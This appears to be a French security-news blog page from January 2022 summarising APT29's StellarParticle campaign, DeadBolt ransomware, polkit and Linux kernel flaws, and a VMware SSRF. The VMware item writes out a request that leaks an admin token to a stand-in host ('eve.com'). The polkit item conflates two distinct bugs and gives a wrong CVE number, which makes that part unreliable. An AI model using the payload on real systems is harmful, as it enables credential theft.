learn.hack.repeat

Mois : janvier 2022 Page 1 of 3

StellarParticle, une campagne associée à COZY BEAR

CrowdStrike a publié un article sur la campagne StellarParticle détaillant les principales observations à son sujet.

Cette campagne est liée à l’attaque de la chaîne d’approvisionnement via SolarWinds survenue en décembre 2020, que les gouvernements américain et britannique ont attribuée au groupe cybercriminel COZY BEAR ou APT29.

Dans ce cas, StellarParticle est le nom par lequel l’équipe de CrowdStrike a nommé la nouvelle campagne, caractérisée par l’utilisation de nouvelles techniques décrites dans le rapport, ou l’utilisation dans ces scénarios particuliers de techniques existantes. Parmi les techniques mises en avant, on trouve le fameux « credential hopping », caractérisé par l’utilisation d’informations d’identification différentes à chaque étape afin d’obtenir un déplacement latéral dans le réseau. Elle minimise les chances de détection de l’attaquant et, du point de vue de l’analyste, implique d’attribuer une plus grande sophistication à l’attaquant, si le reste des techniques accompagne cette perception, comme c’est le cas.

En particulier, l’un des points intéressants du rapport est la manière dont les attaquants parviennent à s’authentifier sur les comptes O365 des victimes, même si l’authentification multifactorielle (MFA) est activée pour ces comptes. Même avec des informations d’identification d’administrateur, ils devraient contourner le MFA. Dans ce cas, les attaquants s’appuient sur le vol de cookies du navigateur Chrome. Le compte administrateur leur permet d’accéder aux ordinateurs des utilisateurs et de voler les données des sessions. Les cookies sont décryptés et si les données de connexion sont récentes, ils pourraient utiliser les cookies pour contourner le MFA. Un certain nombre de conditions sont le signe que l’attaque est exécutée avec la connaissance du système cible.

Ce type d’analyse permet également de déterminer les points d’amélioration possibles, comme l’importance d’établir différents rôles administratifs, et comment, bien qu’une solution particulière puisse offrir cette possibilité (O365), combinée à d’autres solutions, elle peut faire en sorte que cela ne soit pas possible.

L’article est également une lecture intéressante pour ceux qui sont curieux de l’analyse forensique. Les ShellBags, une fonctionnalité du système Windows dont le but est de mémoriser les préférences de l’utilisateur lorsqu’il navigue dans différents répertoires, servent dans ce cas à permettre aux analystes de visualiser le comportement du malware lorsqu’il tente d’obtenir les données de Chrome. Une autre fonctionnalité native de Windows Server 2012 et des versions ultérieures est l’UAL (User Access Login), qui stocke des informations sur les différentes connexions de l’utilisateur, et permet aux analystes d’obtenir des preuves sur les traces de l’activité des attaquants sur le système compromis. D’après les journaux analysés, certaines preuves permettent de dater les accès des attaquants deux ans avant leur découverte.

Une fois que les attaquants ont obtenu l’accès, surtout si l’attaque se prolonge dans le temps, ils peuvent laisser des logiciels malveillants derrière eux pour des opérations ou des accès futurs. Dans ce cas, deux familles sont liées à l’activité de StellarParticle : TrailBlazer et GoldMax.

La première, TailBlazer, comme les autres familles, se caractérise par une fonctionnalité modulaire, parfaite pour la rendre viable dans de multiples scénarios. Il est intéressant de noter qu’il masque les commandes C2 comme des requêtes HTTP provenant des notifications de Google. L’obscurcissement du trafic C2 n’est pas nouveau, mais il est intéressant de voir comment l’attaque est à nouveau adaptée à ce stade à l’environnement, où l’on suppose ou l’on s’attend à ce que des comptes Chrome soient présents, et où le trafic Google est courant, précisément en raison de l’utilisation de Chrome.

GoldMax est utilisé dans sa variante Linux. Il est apparu pour la première fois dans la campagne qui a conduit à l’attaque de la chaîne d’approvisionnement de SolarWinds, et pour les systèmes Windows. L’objectif de cette variante de StellarParticle ne semble être autre que de permettre la persistance sur des plateformes autres que Windows. Ce n’est qu’un autre exemple d’adaptation opportune de logiciels malveillants qui ont été déployés dès la mi-2019.

Les chercheurs soulignent que dans la plupart des cas, l’enquête commence à partir d’un environnement Office 365 compromis (O635) et que, de fait, les attaquants ont une connaissance approfondie des systèmes d’exploitation Windows et Linux, de Microsoft Azure, d’Office 365 et d’Active Directory. Il ne pouvait en être autrement, conformément aux conclusions longuement décrites dans le rapport publié le 27 janvier sur le blog de CrowdStrike, où je vous renvoie pour une lecture complète.

Plus d’information:
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

DeadBolt, un nouveau ransomware contre les NAS de QNAP

QNAP a publié une déclaration invitant les utilisateurs de NAS à prendre des mesures immédiates pour éviter que leurs appareils ne soient infectés par un nouveau ransomware.

Un nouveau logiciel malveillant appelé DeadBolt a été détecté et cible les appareils NAS du fournisseur taïwanais QNAP. Le ransomware crypte les données des utilisateurs et exige une rançon de 0,03 bitcoins (environ 1 070 CHF) pour les récupérer.

Message affiché sur un appareil infecté par DeadBolt.

Le ransomware exploiterait une vulnérabilité de type 0-day inconnue du fabricant. Les développeurs de ce malware communiquent dans le message de blocage affiché après l’infection de l’appareil, qu’ils sont prêts à vendre à QNAP les détails spécifiques de cette vulnérabilité pour 5 Bitcoins (environ 171 000 euros). Ils sont également prêts à donner la clé maîtresse qui permettrait de décrypter les données de tous les appareils concernés pour 50 bitcoins.

Message des développeurs de DeadBolt à QNAP.

QNAP Systems, Inc. a émis une alerte de sécurité demandant à tous les utilisateurs de ses périphériques NAS de suivre une série d’instructions pour activer les protections de sécurité du périphérique et mettre immédiatement à jour le QTS avec la dernière version disponible.

Si le NAS est exposé à Internet et que le service de gestion du système est directement accessible depuis une adresse IP externe, les paramètres suivants sont recommandés :

  • Désactivez la fonction de transfert de port du routeur.
    Dans l’interface d’administration du routeur, dans les paramètres Serveur virtuel, NAT ou Transfert de port, désactivez l’option de transfert de port du port de service de gestion du NAS (port 8080 et 443 par défaut).
  • Désactiver la fonction de transfert de port UPnP du NAS.
    Depuis myQNAPcloud dans le menu QTS, dans la section « Auto Router Configuration », désactivez la sélection « Enable UPnP Port forwarding ».
Configuration de myQNAPcloud.

Ces mesures doivent être prises à titre préventif pour éviter l’infection par DeadBolt. Si le NAS est déjà affecté, la mise à niveau vers la dernière version ou la réinitialisation des paramètres d’usine n’éliminera pas le ransomware, comme le signalent de nombreux utilisateurs sur les forums d’assistance QNAS.

Il est recommandé d’appliquer les mises à jour et les paramètres recommandés par le fabricant pour éviter l’infection par des logiciels malveillants et la perte consécutive du contenu stocké sur le NAS.

Plus d’information:
https://www.qnap.com/en/security-news/2022/take-immediate-actions-to-stop-your-nas-from-exposing-to-the-internet-and-update-qts-to-the-latest-available-version-fight-against-ransomware-together

Un PolKit 12 ans d’âge svp!

12 ans. C’est le temps pendant lequel une vulnérabilité dans PolKit (anciennement Policykit), un système de gestion des autorisations largement utilisé par les distributions Linux les plus populaires, a été cachée. La faille se trouve dans le composant ‘pkexec’, qui permet une fonctionnalité similaire à ‘sudo’, c’est-à-dire l’exécution d’une commande avec les privilèges d’un autre compte ou utilisateur. Par conséquent, lorsqu’il est exploité, il permet l’élévation des privilèges de l’utilisateur root, puisque ‘pkexec’ est un binaire SUID root.

En plus d’être présent dans presque toutes les distributions Linux, l’exploitation est triviale. Grosso modo, il suffit de manipuler uniquement les variables d’environnement pour l’effectuer. En d’autres termes, il ne s’agit pas d’un exploit typique, dans lequel il faut échapper à la protection et disposer d’un contexte d’exécution favorable, mais le succès de l’exploit est pratiquement garanti. En fait, un grand nombre d’exploits émergent pour cette vulnérabilité (avec CVE-2021-4043).

Il est intéressant de noter que la base de la faille a été décrite en 2013 dans un billet d’un chercheur australien, Ryan Mallon, qui prévenait que l’injection d’un pointeur nul dans le tableau d’arguments d’un programme pouvait avoir des conséquences désastreuses. Bien qu’il n’ait pas été en mesure à l’époque d’identifier un vecteur sur lequel appliquer son constat. Elle s’est finalement matérialisée par cette élévation de privilège, triviale à exploiter, rappelons-le.

Un article récemment publié par le chercheur en sécurité du GitHub Security Lab, Kevin Backhouse, détaille la procédure qui permet l’escalade des privilèges sur les systèmes Linux qui utilisent le service polkit.

Un attaquant non privilégié peut obtenir un shell avec l’utilisateur root en utilisant la vulnérabilité de contournement d’authentification dans le service polkit.

Bien que de nombreuses distributions Linux n’aient pas inclus la version vulnérable de polkit jusqu’à récemment, tout système Linux sur lequel est installé polkit 0.113 ou une version ultérieure est exposé à cette attaque.

La liste des distributions actuellement vulnérables partagée par Kevin Backhouse comprend des distributions populaires telles que RHEL 8, Fedora 21 (ou ultérieure), Ubuntu 20.04, ainsi que des versions instables comme Debian testing (« bullseye ») et ses dérivés.

L’exploitation de la vulnérabilité est extrêmement facile, ne nécessitant que quelques commandes de terminal utilisant uniquement des outils standard tels que bash, kill et dbus-send ; une démonstration vidéo fournie par Kevin Backhouse est incluse ci-dessous.

Lorsqu’un processus demandeur se déconnecte du service dbus juste avant que l’appel à polkit_system_bus_name_get_creds_sync soit lancé, le processus ne peut pas obtenir un uid et un pid uniques du processus et ne peut pas vérifier les privilèges du processus qui a fait la demande. La plus grande menace de cette vulnérabilité concerne la confidentialité et l’intégrité des données, ainsi que la disponibilité du système.

Plus d’information:
https://access.redhat.com/security/cve/CVE-2021-3560
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3560
https://github.com/berdav/CVE-2021-4034/blob/main/cve-2021-4034.c

Une vulnérabilité dans Linux permet de s’échapper des conteneurs Kubernetes

La nouvelle vulnérabilité CVE-2022-0185 dans le noyau Linux permet de prendre le contrôle du nœud tant que le conteneur a activé le privilège CAP_SYS_ADMIN.

Les mainteneurs du noyau Linux ont découvert une nouvelle vulnérabilité dans le noyau, identifiée comme CVE-2022-0185, qui pourrait être exploitée dans des environnements tels que Kubernetes pour échapper aux conteneurs et prendre le contrôle du nœud. L’exploitation de la faille nécessite que le conteneur ait la permission CAP_SYS_ADMIN activée, ce qui permet des actions telles que le montage de disques ou la définition de quotas sur le conteneur.

La vulnérabilité consiste en un sous-débit d’entier dans le composant de contexte du système de fichiers, par lequel la valeur peut être réduite en dessous de zéro et au lieu de prendre une valeur négative, atteindre la valeur maximale de l’entier. Ce bug peut être exploité pour écrire en dehors de la mémoire allouée et ainsi modifier d’autres valeurs dans l’espace.

En principe, d’autres technologies telles que Docker ne sont pas vulnérables à ce bug car seccomp est activé en standard. Cette fonctionnalité du noyau est utilisée pour restreindre les actions autorisées dans le conteneur, empêchant ainsi l’exploitation de la vulnérabilité. Cette restriction peut être testée en essayant d’exécuter ‘unshare’ sur l’instance, et vous verrez apparaître une erreur indiquant que l’opération n’est pas autorisée. En théorie, les opérateurs Kubernetes pourraient également activer seccomp par défaut, bien que cette fonctionnalité soit encore en phase de test.

La vulnérabilité a déjà été corrigée dans la version 5.16.2 de Linux, et est maintenant disponible dans la plupart des distributions telles que Redhat, Debian ou Ubuntu. La faille n’est présente qu’à partir de la version 5.1 du noyau, les versions antérieures n’ont donc pas besoin de corriger le problème. Une autre possibilité est de désactiver les espaces de noms des utilisateurs non privilégiés, pour lesquels vous pouvez utiliser : ‘sysctl -w kernel.unprivileged_userns_clone = 0’.

Pour l’instant, rien ne prouve qu’il ait été exploité par des attaquants, bien que des Proof of Concept (PoC) soient déjà disponibles et que d’autres utilisateurs les testent déjà. Le même utilisateur de Twitter a publié un repository où il promet de mettre en ligne ses résultats prochainement.

Il est recommander de mettre à jour dès que possible si vous avez des conteneurs qui utilisent la permission ‘CAP_SYS_ADMIN’. De plus, il convient généralement de ne pas accorder de permissions supplémentaires aux conteneurs, sauf si leur utilisation est vraiment nécessaire.

Plus d’information:
https://access.redhat.com/security/cve/CVE-2022-0185%0A
https://www.armosec.io/blog/cve-2022-0185-kubernetes-users/%0A
https://blog.aquasec.com/cve-2022-0185-linux-kernel-container-escape-in-kubernetes

Vol de jeton JWT dans VMWare Workspace ONE Access

Une vulnérabilité dans VMWare Workspace ONE Access (anciennement connu sous le nom de VMware Identity Manager), qui fournit une authentification multifactorielle à d’autres services, permet d’obtenir un jeton JWT avec des autorisations d’administrateur en exploitant un SSRF.

L’équipe de recherche d’Assetnote a découvert une vulnérabilité dans la fonction responsable de la surveillance des instances de VMWare Workspace ONE, grâce à laquelle des jetons JWT avec des autorisations d’administrateur peuvent être obtenus. La vulnérabilité exploite un SSRF (server-side request forgery), qui permet à une demande avec les informations d’identification d’être faite à un serveur contrôlé par l’attaquant.

VMWare Identity Manager, désormais connu sous le nom de Workspace ONE Access, est utilisé pour fournir une authentification multifactorielle, un accès restreint et une authentification unique aux services SaaS, aux sites Web et aux applications mobiles. Ce produit est utilisé par de multiples applications d’entreprise dans différents secteurs pour fournir une méthode d’authentification centralisée.

L’exploitation nécessite des informations d’identification d’accès au gestionnaire d’informations d’identification VMWare afin d’appeler la fonction dans ‘/SAAS/API/1.0/REST/system/health/instanceHealth’.
Ce chemin est chargé de demander la surveillance d’une des instances enregistrées dans le service. Pour ce faire, il reçoit deux paramètres : ‘hostname’ (le serveur distant à surveiller) et ‘path’ le chemin du serveur distant à appeler. Bien qu’une liste blanche vérifie que le premier appartient à l’une des instances configurées, le second n’est pas vérifié et peut être utilisé dans l’exploit. Si le code de la fonction est vérifié :

Construction de l’url à appeler depuis le VMWare Identity Manager. Source : Assetnote.

La première conditionnelle construit l’url en utilisant le ‘hostname’ et le ‘path’, et bien que dans une fonction précédente le ‘hostname’ soit vérifié (par exemple ‘bob.com’) en ne vérifiant pas si le chemin commence par un slash (‘/’) le symbole @ peut être utilisé (par exemple ‘@eve.com’) pour construire l’url ‘bob.com@eve.com’, étant ‘eve.com’ le destinataire réel de la requête. L’exemple complet de l’exploit serait : « /SAAS/API/1.0/REST/system/health/instanceHealth?hostname=bob.com&path=@eve.com ».

L’url construite à partir de la conditionnelle ci-dessus sera utilisée dans la fonction ‘getStatusFromRemoteHost’, qui fait une demande à l’url en incluant le jeton avec des autorisations d’administrateur. Si le serveur cible est contrôlé par un attaquant, comme dans l’exemple ci-dessus, l’attaquant recevra le jeton :

Fonction permettant d’obtenir l’état du serveur distant, indiquant la ligne avec le jeton à envoyer. Source : Assetnote.

La vulnérabilité a été identifiée comme étant CVE-2021-22056 avec un score de 7.5 (niveau de risque élevé). L’équipe de VMWare a publié un avis concernant cette vulnérabilité et d’autres, qui sont déjà corrigées. La vulnérabilité a été découverte le 5 octobre 2021, et résolue par VMWare le 17 décembre. Il est recommandé de mettre à jour dès que possible la dernière version disponible afin de résoudre ces problèmes.

Plus d’information:
https://blog.assetnote.io/2022/01/17/workspace-one-access-ssrf/

Page 1 of 3

Fièrement propulsé par WordPress & Thème par Anders Norén